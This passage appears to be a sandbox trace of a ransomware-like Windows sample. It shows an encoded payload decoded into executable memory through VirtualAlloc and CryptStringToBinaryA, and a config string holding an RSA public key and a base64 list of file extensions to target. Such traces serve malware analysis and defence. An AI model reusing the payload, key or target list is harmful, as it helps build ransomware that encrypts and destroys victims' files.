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") returned 5709 [0169.398] VirtualAlloc (lpAddress=0x0, dwSize=0x164f, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0169.399] CryptStringToBinaryA (in: pszString="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", cchString=0x0, dwFlags=0x1, pbBinary=0x2730000, pcbBinary=0x19f838, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2730000, pcbBinary=0x19f838, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0169.399] lstrlenA (lpString="aeriedjD#shasj") returned 14 [0169.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLm